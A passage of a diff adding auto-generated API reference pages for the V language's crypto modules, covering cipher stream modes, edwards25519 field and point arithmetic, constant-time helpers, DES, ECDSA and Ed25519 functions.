+
+## xor_key_stream
+```v
+fn (mut x Cfb) xor_key_stream(mut dst []u8, src []u8)
+```
+
+xor_key_stream xors each byte in the given slice with a byte from the key stream.
+
+[[Return to contents]](#Contents)
+
+## Ctr
+## free
+```v
+fn (mut x Ctr) free()
+```
+
+free the resources taken by the Ctr `c`
+
+[[Return to contents]](#Contents)
+
+## xor_key_stream
+```v
+fn (mut x Ctr) xor_key_stream(mut dst []u8, src []u8)
+```
+
+xor_key_stream xors each byte in the given slice with a byte from the key stream.
+
+[[Return to contents]](#Contents)
+
+## Ofb
+## xor_key_stream
+```v
+fn (mut x Ofb) xor_key_stream(mut dst []u8, src []u8)
+```
+
+xor_key_stream xors each byte in the given slice with a byte from the key stream.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/crypto.ed25519.internal.edwards25519.md

@@ -0,0 +1,613 @@
+# module crypto.ed25519.internal.edwards25519
+
+
+## Contents
+- [Constants](#Constants)
+- [new_generator_point](#new_generator_point)
+- [new_identity_point](#new_identity_point)
+- [new_scalar](#new_scalar)
+- [Scalar](#Scalar)
+  - [add](#add)
+  - [bytes](#bytes)
+  - [equal](#equal)
+  - [invert](#invert)
+  - [multiply](#multiply)
+  - [multiply_add](#multiply_add)
+  - [negate](#negate)
+  - [non_adjacent_form](#non_adjacent_form)
+  - [set](#set)
+  - [set_bytes_with_clamping](#set_bytes_with_clamping)
+  - [set_canonical_bytes](#set_canonical_bytes)
+  - [set_uniform_bytes](#set_uniform_bytes)
+  - [subtract](#subtract)
+- [Element](#Element)
+  - [zero](#zero)
+  - [one](#one)
+  - [reduce](#reduce)
+  - [add](#add)
+  - [subtract](#subtract)
+  - [negate](#negate)
+  - [invert](#invert)
+  - [square](#square)
+  - [multiply](#multiply)
+  - [pow_22523](#pow_22523)
+  - [sqrt_ratio](#sqrt_ratio)
+  - [selected](#selected)
+  - [is_negative](#is_negative)
+  - [absolute](#absolute)
+  - [set](#set)
+  - [set_bytes](#set_bytes)
+  - [bytes](#bytes)
+  - [equal](#equal)
+  - [swap](#swap)
+  - [mult_32](#mult_32)
+- [Point](#Point)
+  - [add](#add)
+  - [bytes](#bytes)
+  - [bytes_montgomery](#bytes_montgomery)
+  - [equal](#equal)
+  - [mult_by_cofactor](#mult_by_cofactor)
+  - [multi_scalar_mult](#multi_scalar_mult)
+  - [negate](#negate)
+  - [scalar_base_mult](#scalar_base_mult)
+  - [scalar_mult](#scalar_mult)
+  - [set](#set)
+  - [set_bytes](#set_bytes)
+  - [subtract](#subtract)
+  - [vartime_double_scalar_base_mult](#vartime_double_scalar_base_mult)
+  - [vartime_multiscalar_mult](#vartime_multiscalar_mult)
+
+## Constants
+```v
+const sc_zero = Scalar{
+	s: [u8(0), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+		0, 0, 0, 0]!
+}
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const sc_one = Scalar{
+	s: [u8(1), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+		0, 0, 0, 0]!
+}
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const sc_minus_one = Scalar{
+	s: [u8(236), 211, 245, 92, 26, 99, 18, 88, 214, 156, 247, 162, 222, 249, 222, 20, 0, 0, 0,
+		0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16]!
+}
+```
+
+[[Return to contents]](#Contents)
+
+## new_generator_point
+```v
+fn new_generator_point() Point
+```
+
+new_generator_point returns a new Point set to the canonical generator.
+
+[[Return to contents]](#Contents)
+
+## new_identity_point
+```v
+fn new_identity_point() Point
+```
+
+new_identity_point returns a new Point set to the identity.
+
+[[Return to contents]](#Contents)
+
+## new_scalar
+```v
+fn new_scalar() Scalar
+```
+
+new_scalar return new zero scalar
+
+[[Return to contents]](#Contents)
+
+## Scalar
+## add
+```v
+fn (mut s Scalar) add(x Scalar, y Scalar) Scalar
+```
+
+add sets s = x + y mod l, and returns s.
+
+[[Return to contents]](#Contents)
+
+## bytes
+```v
+fn (mut s Scalar) bytes() []u8
+```
+
+bytes returns the canonical 32-byte little-endian encoding of s.
+
+[[Return to contents]](#Contents)
+
+## equal
+```v
+fn (s Scalar) equal(t Scalar) int
+```
+
+equal returns 1 if s and t are equal, and 0 otherwise.
+
+[[Return to contents]](#Contents)
+
+## invert
+```v
+fn (mut s Scalar) invert(t Scalar) Scalar
+```
+
+invert sets s to the inverse of a nonzero scalar v, and returns s.
+
+If t is zero, invert returns zero.
+
+[[Return to contents]](#Contents)
+
+## multiply
+```v
+fn (mut s Scalar) multiply(x Scalar, y Scalar) Scalar
+```
+
+multiply sets s = x * y mod l, and returns s.
+
+[[Return to contents]](#Contents)
+
+## multiply_add
+```v
+fn (mut s Scalar) multiply_add(x Scalar, y Scalar, z Scalar) Scalar
+```
+
+multiply_add sets s = x * y + z mod l, and returns s.
+
+[[Return to contents]](#Contents)
+
+## negate
+```v
+fn (mut s Scalar) negate(x Scalar) Scalar
+```
+
+negate sets s = -x mod l, and returns s.
+
+[[Return to contents]](#Contents)
+
+## non_adjacent_form
+```v
+fn (mut s Scalar) non_adjacent_form(w u32) []i8
+```
+
+non_adjacent_form computes a width-w non-adjacent form for this scalar.
+
+w must be between 2 and 8, or non_adjacent_form will panic.
+
+[[Return to contents]](#Contents)
+
+## set
+```v
+fn (mut s Scalar) set(x Scalar) Scalar
+```
+
+set sets s = x, and returns s.
+
+[[Return to contents]](#Contents)
+
+## set_bytes_with_clamping
+```v
+fn (mut s Scalar) set_bytes_with_clamping(x []u8) !Scalar
+```
+
+set_bytes_with_clamping applies the buffer pruning described in RFC 8032, Section 5.1.5 (also known as clamping) and sets s to the result. The input must be 32 bytes, and it is not modified. If x is not of the right length, `set_bytes_with_clamping` returns an error, and the receiver is unchanged.
+
+Note that since Scalar values are always reduced modulo the prime order of the curve, the resulting value will not preserve any of the cofactor-clearing properties that clamping is meant to provide. It will however work as expected as long as it is applied to points on the prime order subgroup, like in Ed25519. In fact, it is lost to history why RFC 8032 adopted the irrelevant RFC 7748 clamping, but it is now required for compatibility.
+
+[[Return to contents]](#Contents)
+
+## set_canonical_bytes
+```v
+fn (mut s Scalar) set_canonical_bytes(x []u8) !Scalar
+```
+
+set_canonical_bytes sets s = x, where x is a 32-byte little-endian encoding of s, and returns s. If x is not a canonical encoding of s, set_canonical_bytes returns an error, and the receiver is unchanged.
+
+[[Return to contents]](#Contents)
+
+## set_uniform_bytes
+```v
+fn (mut s Scalar) set_uniform_bytes(x []u8) !Scalar
+```
+
+set_uniform_bytes sets s to an uniformly distributed value given 64 uniformly distributed random bytes. If x is not of the right length, set_uniform_bytes returns an error, and the receiver is unchanged.
+
+[[Return to contents]](#Contents)
+
+## subtract
+```v
+fn (mut s Scalar) subtract(x Scalar, y Scalar) Scalar
+```
+
+subtract sets s = x - y mod l, and returns s.
+
+[[Return to contents]](#Contents)
+
+## Element
+```v
+struct Element {
+mut:
+	// An element t represents the integer
+	//     t.l0 + t.l1*2^51 + t.l2*2^102 + t.l3*2^153 + t.l4*2^204
+	//
+	// Between operations, all limbs are expected to be lower than 2^52.
+	l0 u64
+	l1 u64
+	l2 u64
+	l3 u64
+	l4 u64
+}
+```
+
+Element represents an element of the edwards25519 GF(2^255-19). Note that this is not a cryptographically secure group, and should only be used to interact with edwards25519.Point coordinates.
+
+This type works similarly to math/big.Int, and all arguments and receivers are allowed to alias.
+
+The zero value is a valid zero element.
+
+[[Return to contents]](#Contents)
+
+## zero
+```v
+fn (mut v Element) zero() Element
+```
+
+zero sets v = 0, and returns v.
+
+[[Return to contents]](#Contents)
+
+## one
+```v
+fn (mut v Element) one() Element
+```
+
+one sets v = 1, and returns v.
+
+[[Return to contents]](#Contents)
+
+## reduce
+```v
+fn (mut v Element) reduce() Element
+```
+
+reduce reduces v modulo 2^255 - 19 and returns it.
+
+[[Return to contents]](#Contents)
+
+## add
+```v
+fn (mut v Element) add(a Element, b Element) Element
+```
+
+add sets v = a + b, and returns v.
+
+[[Return to contents]](#Contents)
+
+## subtract
+```v
+fn (mut v Element) subtract(a Element, b Element) Element
+```
+
+subtract sets v = a - b, and returns v.
+
+[[Return to contents]](#Contents)
+
+## negate
+```v
+fn (mut v Element) negate(a Element) Element
+```
+
+negate sets v = -a, and returns v.
+
+[[Return to contents]](#Contents)
+
+## invert
+```v
+fn (mut v Element) invert(z Element) Element
+```
+
+invert sets v = 1/z mod p, and returns v.
+
+If z == 0, invert returns v = 0.
+
+[[Return to contents]](#Contents)
+
+## square
+```v
+fn (mut v Element) square(x Element) Element
+```
+
+square sets v = x * x, and returns v.
+
+[[Return to contents]](#Contents)
+
+## multiply
+```v
+fn (mut v Element) multiply(x Element, y Element) Element
+```
+
+multiply sets v = x * y, and returns v.
+
+[[Return to contents]](#Contents)
+
+## pow_22523
+```v
+fn (mut v Element) pow_22523(x Element) Element
+```
+
+pow_22523 set v = x^((p-5)/8), and returns v. (p-5)/8 is 2^252-3.
+
+[[Return to contents]](#Contents)
+
+## sqrt_ratio
+```v
+fn (mut r Element) sqrt_ratio(u Element, v Element) (Element, int)
+```
+
+sqrt_ratio sets r to the non-negative square root of the ratio of u and v.
+
+If u/v is square, sqrt_ratio returns r and 1. If u/v is not square, sqrt_ratio sets r according to Section 4.3 of draft-irtf-cfrg-ristretto255-decaf448-00, and returns r and 0.
+
+[[Return to contents]](#Contents)
+
+## selected
+```v
+fn (mut v Element) selected(a Element, b Element, cond int) Element
+```
+
+selected sets v to a if cond == 1, and to b if cond == 0.
+
+[[Return to contents]](#Contents)
+
+## is_negative
+```v
+fn (mut v Element) is_negative() int
+```
+
+is_negative returns 1 if v is negative, and 0 otherwise.
+
+[[Return to contents]](#Contents)
+
+## absolute
+```v
+fn (mut v Element) absolute(u Element) Element
+```
+
+absolute sets v to |u|, and returns v.
+
+[[Return to contents]](#Contents)
+
+## set
+```v
+fn (mut v Element) set(a Element) Element
+```
+
+set sets v = a, and returns v.
+
+[[Return to contents]](#Contents)
+
+## set_bytes
+```v
+fn (mut v Element) set_bytes(x []u8) !Element
+```
+
+set_bytes sets v to x, where x is a 32-byte little-endian encoding. If x is not of the right length, SetUniformBytes returns an error, and the receiver is unchanged.
+
+Consistent with RFC 7748, the most significant bit (the high bit of the last byte) is ignored, and non-canonical values (2^255-19 through 2^255-1) are accepted. Note that this is laxer than specified by RFC 8032.
+
+[[Return to contents]](#Contents)
+
+## bytes
+```v
+fn (mut v Element) bytes() []u8
+```
+
+bytes returns the canonical 32-byte little-endian encoding of v.
+
+[[Return to contents]](#Contents)
+
+## equal
+```v
+fn (mut v Element) equal(ue Element) int
+```
+
+equal returns 1 if v and u are equal, and 0 otherwise.
+
+[[Return to contents]](#Contents)
+
+## swap
+```v
+fn (mut v Element) swap(mut u Element, cond int)
+```
+
+swap swaps v and u if cond == 1 or leaves them unchanged if cond == 0, and returns v.
+
+[[Return to contents]](#Contents)
+
+## mult_32
+```v
+fn (mut v Element) mult_32(x Element, y u32) Element
+```
+
+mult_32 sets v = x * y, and returns v.
+
+[[Return to contents]](#Contents)
+
+## Point
+```v
+struct Point {
+mut:
+	// The point is internally represented in extended coordinates (x, y, z, T)
+	// where x = x/z, y = y/z, and xy = T/z per https://eprint.iacr.org/2008/522.
+	x Element
+	y Element
+	z Element
+	t Element
+	// Make the type not comparable (i.e. used with == or as a map key), as
+	// equivalent points can be represented by different values.
+	// _ incomparable
+}
+```
+
+Point represents a point on the edwards25519 curve.
+
+This type works similarly to math/big.Int, and all arguments and receivers are allowed to alias.
+
+The zero value is NOT valid, and it may be used only as a receiver.
+
+[[Return to contents]](#Contents)
+
+## add
+```v
+fn (mut v Point) add(p Point, q Point) Point
+```
+
+add sets v = p + q, and returns v.
+
+[[Return to contents]](#Contents)
+
+## bytes
+```v
+fn (mut v Point) bytes() []u8
+```
+
+bytes returns the canonical 32-byte encoding of v, according to RFC 8032, Section 5.1.2.
+
+[[Return to contents]](#Contents)
+
+## bytes_montgomery
+```v
+fn (mut v Point) bytes_montgomery() []u8
+```
+
+bytes_montgomery converts v to a point on the birationally-equivalent Curve25519 Montgomery curve, and returns its canonical 32 bytes encoding according to RFC 7748.
+
+Note that bytes_montgomery only encodes the u-coordinate, so v and -v encode to the same value. If v is the identity point, bytes_montgomery returns 32 zero bytes, analogously to the X25519 function.
+
+[[Return to contents]](#Contents)
+
+## equal
+```v
+fn (mut v Point) equal(u Point) int
+```
+
+equal returns 1 if v is equivalent to u, and 0 otherwise.
+
+[[Return to contents]](#Contents)
+
+## mult_by_cofactor
+```v
+fn (mut v Point) mult_by_cofactor(p Point) Point
+```
+
+mult_by_cofactor sets v = 8 * p, and returns v.
+
+[[Return to contents]](#Contents)
+
+## multi_scalar_mult
+```v
+fn (mut v Point) multi_scalar_mult(scalars []Scalar, points []Point) Point
+```
+
+multi_scalar_mult sets v = sum(scalars[i] * points[i]), and returns v.
+
+Execution time depends only on the lengths of the two slices, which must match.
+
+[[Return to contents]](#Contents)
+
+## negate
+```v
+fn (mut v Point) negate(p Point) Point
+```
+
+negate sets v = -p, and returns v.
+
+[[Return to contents]](#Contents)
+
+## scalar_base_mult
+```v
+fn (mut v Point) scalar_base_mult(mut x Scalar) Point
+```
+
+scalar_base_mult sets v = x * B, where B is the canonical generator, and returns v.
+
+The scalar multiplication is done in constant time.
+
+[[Return to contents]](#Contents)
+
+## scalar_mult
+```v
+fn (mut v Point) scalar_mult(mut x Scalar, q Point) Point
+```
+
+scalar_mult sets v = x * q, and returns v.
+
+The scalar multiplication is done in constant time.
+
+[[Return to contents]](#Contents)
+
+## set
+```v
+fn (mut v Point) set(u Point) Point
+```
+
+set sets v = u, and returns v.
+
+[[Return to contents]](#Contents)
+
+## set_bytes
+```v
+fn (mut v Point) set_bytes(x []u8) !Point
+```
+
+set_bytes sets v = x, where x is a 32-byte encoding of v. If x does not represent a valid point on the curve, set_bytes returns an error and the receiver is unchanged. Otherwise, set_bytes returns v.
+
+Note that set_bytes accepts all non-canonical encodings of valid points. That is, it follows decoding rules that match most implementations in the ecosystem rather than RFC 8032.
+
+[[Return to contents]](#Contents)
+
+## subtract
+```v
+fn (mut v Point) subtract(p Point, q Point) Point
+```
+
+subtract sets v = p - q, and returns v.
+
+[[Return to contents]](#Contents)
+
+## vartime_double_scalar_base_mult
+```v
+fn (mut v Point) vartime_double_scalar_base_mult(xa Scalar, aa Point, xb Scalar) Point
+```
+
+vartime_double_scalar_base_mult sets v = a * A + b * B, where B is the canonical generator, and returns v.
+
+Execution time depends on the inputs.
+
+[[Return to contents]](#Contents)
+
+## vartime_multiscalar_mult
+```v
+fn (mut v Point) vartime_multiscalar_mult(scalars []Scalar, points []Point) Point
+```
+
+vartime_multiscalar_mult sets v = sum(scalars[i] * points[i]), and returns v.
+
+Execution time depends on the inputs.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/crypto.internal.subtle.md

@@ -0,0 +1,90 @@
+# module crypto.internal.subtle
+
+
+## Contents
+- [any_overlap](#any_overlap)
+- [constant_time_byte_eq](#constant_time_byte_eq)
+- [constant_time_compare](#constant_time_compare)
+- [constant_time_copy](#constant_time_copy)
+- [constant_time_eq](#constant_time_eq)
+- [constant_time_less_or_eq](#constant_time_less_or_eq)
+- [constant_time_select](#constant_time_select)
+- [inexact_overlap](#inexact_overlap)
+
+## any_overlap
+```v
+fn any_overlap(x []u8, y []u8) bool
+```
+
+
+
+Note: require unsafe in futureany_overlap reports whether x and y share memory at any (not necessarily corresponding) index. The memory beyond the slice length is ignored.
+
+[[Return to contents]](#Contents)
+
+## constant_time_byte_eq
+```v
+fn constant_time_byte_eq(x u8, y u8) int
+```
+
+constant_time_byte_eq returns 1 when x == y.
+
+[[Return to contents]](#Contents)
+
+## constant_time_compare
+```v
+fn constant_time_compare(x []u8, y []u8) int
+```
+
+constant_time_compare returns 1 when x and y have equal contents. The runtime of this function is proportional of the length of x and y. It is *NOT* dependent on their content.
+
+[[Return to contents]](#Contents)
+
+## constant_time_copy
+```v
+fn constant_time_copy(v int, mut x []u8, y []u8)
+```
+
+constant_time_copy copies the contents of y into x, when v == 1. When v == 0, x is left unchanged. this function is undefined, when v takes any other value
+
+[[Return to contents]](#Contents)
+
+## constant_time_eq
+```v
+fn constant_time_eq(x int, y int) int
+```
+
+constant_time_eq returns 1 when x == y.
+
+[[Return to contents]](#Contents)
+
+## constant_time_less_or_eq
+```v
+fn constant_time_less_or_eq(x int, y int) int
+```
+
+constant_time_less_or_eq returns 1 if x <= y, and 0 otherwise. it is undefined when x or y are negative, or > (2^32 - 1)
+
+[[Return to contents]](#Contents)
+
+## constant_time_select
+```v
+fn constant_time_select(v int, x int, y int) int
+```
+
+constant_time_select returns x when v == 1, and y when v == 0. it is undefined when v is any other value
+
+[[Return to contents]](#Contents)
+
+## inexact_overlap
+```v
+fn inexact_overlap(x []u8, y []u8) bool
+```
+
+inexact_overlap reports whether x and y share memory at any non-corresponding index. The memory beyond the slice length is ignored. Note that x and y can have different lengths and still not have any inexact overlap.
+
+inexact_overlap can be used to implement the requirements of the crypto/cipher AEAD, Block, BlockMode and Stream interfaces.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/crypto.md

@@ -0,0 +1,34 @@
+# module crypto
+
+
+## Contents
+- [Hash](#Hash)
+
+## Hash
+```v
+enum Hash {
+	md4
+	md5
+	sha1
+	sha224
+	sha256
+	sha384
+	sha512
+	md5sha1
+	ripemd160
+	sha3_224
+	sha3_256
+	sha3_384
+	sha3_512
+	sha512_224
+	sha512_256
+	blake2s_256
+	blake2b_256
+	blake2b_384
+	blake2b_512
+}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/des.md

@@ -0,0 +1,80 @@
+# module des
+
+
+## Contents
+- [encrypt_block](#encrypt_block)
+- [new_cipher](#new_cipher)
+- [new_triple_des_cipher](#new_triple_des_cipher)
+- [DesCipher](#DesCipher)
+  - [encrypt](#encrypt)
+  - [decrypt](#decrypt)
+- [TripleDesCipher](#TripleDesCipher)
+  - [encrypt](#encrypt)
+  - [decrypt](#decrypt)
+
+## encrypt_block
+```v
+fn encrypt_block(subkeys []u64, mut dst []u8, src []u8)
+```
+
+Encrypt one block from src into dst, using the subkeys.
+
+[[Return to contents]](#Contents)
+
+## new_cipher
+```v
+fn new_cipher(key []u8) cipher.Block
+```
+
+NewCipher creates and returns a new cipher.Block.
+
+[[Return to contents]](#Contents)
+
+## new_triple_des_cipher
+```v
+fn new_triple_des_cipher(key []u8) cipher.Block
+```
+
+NewTripleDesCipher creates and returns a new cipher.Block.
+
+[[Return to contents]](#Contents)
+
+## DesCipher
+## encrypt
+```v
+fn (c &DesCipher) encrypt(mut dst []u8, src []u8)
+```
+
+encrypt a block of data using the DES algorithm
+
+[[Return to contents]](#Contents)
+
+## decrypt
+```v
+fn (c &DesCipher) decrypt(mut dst []u8, src []u8)
+```
+
+decrypt a block of data using the DES algorithm
+
+[[Return to contents]](#Contents)
+
+## TripleDesCipher
+## encrypt
+```v
+fn (c &TripleDesCipher) encrypt(mut dst []u8, src []u8)
+```
+
+encrypt a block of data using the TripleDES algorithm
+
+[[Return to contents]](#Contents)
+
+## decrypt
+```v
+fn (c &TripleDesCipher) decrypt(mut dst []u8, src []u8)
+```
+
+decrypt a block of data using the TripleDES algorithm
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/ecdsa.md

@@ -0,0 +1,304 @@
+# module ecdsa
+
+
+## Contents
+- [generate_key](#generate_key)
+- [new_key_from_seed](#new_key_from_seed)
+- [privkey_from_string](#privkey_from_string)
+- [pubkey_from_bytes](#pubkey_from_bytes)
+- [pubkey_from_string](#pubkey_from_string)
+- [PrivateKey.new](#PrivateKey.new)
+- [HashConfig](#HashConfig)
+- [Nid](#Nid)
+- [C.BIO](#C.BIO)
+- [CurveOptions](#CurveOptions)
+- [PrivateKey](#PrivateKey)
+  - [sign](#sign)
+  - [sign_with_options](#sign_with_options)
+  - [bytes](#bytes)
+  - [seed](#seed)
+  - [public_key](#public_key)
+  - [equal](#equal)
+  - [free](#free)
+- [PublicKey](#PublicKey)
+  - [bytes](#bytes)
+  - [equal](#equal)
+  - [free](#free)
+  - [verify](#verify)
+- [SignerOpts](#SignerOpts)
+
+## generate_key
+```v
+fn generate_key(opt CurveOptions) !(PublicKey, PrivateKey)
+```
+
+generate_key generates a new key pair. If opt was not provided, its default to prime256v1 curve. If you want another curve, use `pubkey, pivkey := ecdsa.generate_key(nid: .secp384r1)!` instead.
+
+[[Return to contents]](#Contents)
+
+## new_key_from_seed
+```v
+fn new_key_from_seed(seed []u8, opt CurveOptions) !PrivateKey
+```
+
+new_key_from_seed creates a new private key from the seed bytes. If opt was not provided, its default to prime256v1 curve.
+
+Notes on the seed:
+
+You should make sure, the seed bytes come from a cryptographically secure random generator, likes the `crypto.rand` or other trusted sources. Internally, the seed size's would be checked to not exceed the key size of underlying curve, ie, 32 bytes length for p-256 and secp256k1, 48 bytes length for p-384 and 66 bytes length for p-521. Its recommended to use seed with bytes length matching with underlying curve key size.
+
+[[Return to contents]](#Contents)
+
+## privkey_from_string
+```v
+fn privkey_from_string(s string) !PrivateKey
+```
+
+privkey_from_string loads a PrivateKey from valid PEM-formatted string in s. Underlying wrapper support for old SECG and PKCS8 private key format, but this was not heavily tested. This routine does not support for the PKCS8 EncryptedPrivateKeyInfo format. See [ecdsa_seed_test.v](https://github.com/vlang/v/blob/master/vlib/crypto/ecdsa/example/ecdsa_seed_test.v) file for example of usage.
+
+[[Return to contents]](#Contents)
+
+## pubkey_from_bytes
+```v
+fn pubkey_from_bytes(bytes []u8) !PublicKey
+```
+
+pubkey_from_bytes loads ECDSA Public Key from bytes array. The bytes of data should be a valid of ASN.1 DER serialized SubjectPublicKeyInfo structrue of RFC 5480. Otherwise, its should an error. Typically, you can load the bytes from pem formatted of ecdsa public key.
+
+Examples:
+```codeblock
+import crypto.pem
+import crypto.ecdsa
+
+const pubkey_sample = '-----BEGIN PUBLIC KEY-----
+MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE+P3rhFkT1fXHYbY3CpcBdh6xTC74MQFx
+cftNVD3zEPVzo//OalIVatY162ksg8uRWBdvFFuHZ9OMVXkbjwWwhcXP7qmI9rOS
+LR3AGUldy+bBpV2nT306qCIwgUAMeOJP
+-----END PUBLIC KEY-----'
+
+block, _ := pem.decode(pubkey_sample) or { panic(err) }
+pubkey := ecdsa.pubkey_from_bytes(block.data)!
+```
+
+
+[[Return to contents]](#Contents)
+
+## pubkey_from_string
+```v
+fn pubkey_from_string(s string) !PublicKey
+```
+
+pubkey_from_string loads a PublicKey from valid PEM-formatted string in s.
+
+[[Return to contents]](#Contents)
+
+## PrivateKey.new
+```v
+fn PrivateKey.new(opt CurveOptions) !PrivateKey
+```
+
+PrivateKey.new creates a new key pair. By default, it would create a prime256v1 based key. Dont forget to call `.free()` after finish with your key.
+
+[[Return to contents]](#Contents)
+
+## HashConfig
+```v
+enum HashConfig {
+	with_recommended_hash
+	with_no_hash
+	with_custom_hash
+}
+```
+
+HashConfig is an enumeration of the possible options for key signing (verifying).
+
+[[Return to contents]](#Contents)
+
+## Nid
+```v
+enum Nid {
+	prime256v1 = C.NID_X9_62_prime256v1
+	secp384r1  = C.NID_secp384r1
+	secp521r1  = C.NID_secp521r1
+	secp256k1  = C.NID_secp256k1
+}
+```
+
+Nid is an enumeration of the supported curves
+
+[[Return to contents]](#Contents)
+
+## C.BIO
+```v
+struct C.BIO {}
+```
+
+[[Return to contents]](#Contents)
+
+## CurveOptions
+```v
+struct CurveOptions {
+pub mut:
+	// default to NIST P-256 curve
+	nid Nid = .prime256v1
+	// by default, allow arbitrary size of seed bytes as key.
+	// Set it to `true` when you need fixed size, using the curve key size.
+	// Its main purposes is to support the `.new_key_from_seed` call.
+	fixed_size bool
+}
+```
+
+CurveOptions represents configuration options to drive keypair generation.
+
+[[Return to contents]](#Contents)
+
+## PrivateKey
+```v
+struct PrivateKey {
+	// The new high level of keypair opaque
+	evpkey &C.EVP_PKEY
+mut:
+	// ks_flag with .flexible value allowing
+	// flexible-size seed bytes as key.
+	// When it is `.fixed`, it will use the underlying key size.
+	ks_flag KeyFlag = .flexible
+	// ks_size stores size of the seed bytes when ks_flag was .flexible.
+	// You should set it to a non zero value
+	ks_size int
+}
+```
+
+PrivateKey represents ECDSA private key. Actually its a key pair, contains private key and public key parts.
+
+[[Return to contents]](#Contents)
+
+## sign
+```v
+fn (pv PrivateKey) sign(message []u8, opt SignerOpts) ![]u8
+```
+
+sign performs signing the message with the options. By default options, it will perform hashing before signing the message.
+
+[[Return to contents]](#Contents)
+
+## sign_with_options
+```v
+fn (pv PrivateKey) sign_with_options(message []u8, opt SignerOpts) ![]u8
+```
+
+sign_with_options signs message with the options. It will be deprecated, Use `PrivateKey.sign()` instead.
+
+[[Return to contents]](#Contents)
+
+## bytes
+```v
+fn (pv PrivateKey) bytes() ![]u8
+```
+
+bytes represent private key as bytes.
+
+[[Return to contents]](#Contents)
+
+## seed
+```v
+fn (pv PrivateKey) seed() ![]u8
+```
+
+seed gets the seed (private key bytes). It will be deprecated. Use `PrivateKey.bytes()` instead.
+
+[[Return to contents]](#Contents)
+
+## public_key
+```v
+fn (pv PrivateKey) public_key() !PublicKey
+```
+
+public_key gets the PublicKey from private key.
+
+[[Return to contents]](#Contents)
+
+## equal
+```v
+fn (priv_key PrivateKey) equal(other PrivateKey) bool
+```
+
+equal compares two private keys was equal.
+
+[[Return to contents]](#Contents)
+
+## free
+```v
+fn (pv &PrivateKey) free()
+```
+
+free clears out allocated memory for PrivateKey. Dont use PrivateKey after calling `.free()`
+
+[[Return to contents]](#Contents)
+
+## PublicKey
+```v
+struct PublicKey {
+	// The new high level of keypair opaque
+	evpkey &C.EVP_PKEY
+}
+```
+
+PublicKey represents ECDSA public key for verifying message.
+
+[[Return to contents]](#Contents)
+
+## bytes
+```v
+fn (pbk PublicKey) bytes() ![]u8
+```
+
+bytes gets the bytes of public key.
+
+[[Return to contents]](#Contents)
+
+## equal
+```v
+fn (pub_key PublicKey) equal(other PublicKey) bool
+```
+
+equal compares two public keys was equal.
+
+[[Return to contents]](#Contents)
+
+## free
+```v
+fn (pb &PublicKey) free()
+```
+
+free clears out allocated memory for PublicKey. Dont use PublicKey after calling `.free()`
+
+[[Return to contents]](#Contents)
+
+## verify
+```v
+fn (pb PublicKey) verify(message []u8, sig []u8, opt SignerOpts) !bool
+```
+
+verify verifies a message with the signature are valid with public key provided . You should provide it with the same SignerOpts used with the `.sign()` call. or verify would fail (false).
+
+[[Return to contents]](#Contents)
+
+## SignerOpts
+```v
+struct SignerOpts {
+pub mut:
+	// default to .with_recommended_hash
+	hash_config HashConfig = .with_recommended_hash
+	// make sense when HashConfig != with_recommended_hash
+	allow_smaller_size bool
+	allow_custom_hash  bool
+	// set to non-nil if allow_custom_hash was true
+	custom_hash &hash.Hash = unsafe { nil }
+}
+```
+
+SignerOpts represents configuration options to drive signing and verifying process.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/ed25519.md

@@ -0,0 +1,150 @@
+# module ed25519
+
+
+## Contents
+- [Constants](#Constants)
+- [generate_key](#generate_key)
+- [new_key_from_seed](#new_key_from_seed)
+- [sign](#sign)
+- [verify](#verify)
+- [PrivateKey](#PrivateKey)
+  - [seed](#seed)
+  - [public_key](#public_key)
+  - [equal](#equal)
+  - [sign](#sign)
+- [PublicKey](#PublicKey)
+  - [equal](#equal)
+
+## Constants
+```v
+const public_key_size = 32
+```
+
+public_key_size is the sizeof public keys in bytes
+
+[[Return to contents]](#Contents)
+
+```v
+const private_key_size = 64
+```
+
+private_key_size is the sizeof private keys in bytes
+
+[[Return to contents]](#Contents)
+
+```v
+const signature_size = 64
+```
+
+signature_size is the size of signatures generated and verified by this modules, in bytes.
+
+[[Return to contents]](#Contents)
+
+```v
+const seed_size = 32
+```
+
+seed_size is the size of private key seeds in bytes
+
+[[Return to contents]](#Contents)
+
+## generate_key
+```v
+fn generate_key() !(PublicKey, PrivateKey)
+```
+
+generate_key generates a public/private key pair entropy using `crypto.rand`.
+
+[[Return to contents]](#Contents)
+
+## new_key_from_seed
+```v
+fn new_key_from_seed(seed []u8) PrivateKey
+```
+
+new_key_from_seed calculates a private key from a seed. private keys of RFC 8032 correspond to seeds in this module
+
+[[Return to contents]](#Contents)
+
+## sign
+```v
+fn sign(privatekey PrivateKey, message []u8) ![]u8
+```
+
+sign`signs the message with privatekey and returns a signature
+
+[[Return to contents]](#Contents)
+
+## verify
+```v
+fn verify(publickey PublicKey, message []u8, sig []u8) !bool
+```
+
+verify reports whether sig is a valid signature of message by publickey.
+
+[[Return to contents]](#Contents)
+
+## PrivateKey
+```v
+type PrivateKey = []u8
+```
+
+PrivateKey is Ed25519 private keys
+
+[[Return to contents]](#Contents)
+
+## seed
+```v
+fn (priv PrivateKey) seed() []u8
+```
+
+seed returns the private key seed corresponding to priv. RFC 8032's private keys correspond to seeds in this module.
+
+[[Return to contents]](#Contents)
+
+## public_key
+```v
+fn (priv PrivateKey) public_key() PublicKey
+```
+
